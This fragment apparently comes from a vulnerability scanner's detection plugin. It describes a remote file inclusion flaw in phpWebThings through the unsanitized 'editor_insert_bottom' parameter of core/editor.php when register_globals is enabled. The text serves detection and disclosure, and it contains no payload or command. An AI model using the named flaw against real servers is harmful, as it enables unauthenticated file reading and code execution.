tag_summary = "The remote web server contains a PHP script that is affected by a
remote file include issue. 

Description:

The remote web server is running phpWebThings, a PHP based photo
gallery management system. 

The version of phpWebThings installed on the remote host fails to
sanitize input to the 'editor_insert_bottom' parameter before using it
in the 'core/editor.php' script to include PHP code.  Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker can
exploit this issue to view arbitrary files and execute arbitrary code,
possibly taken from third-party hosts, on the remote host.";
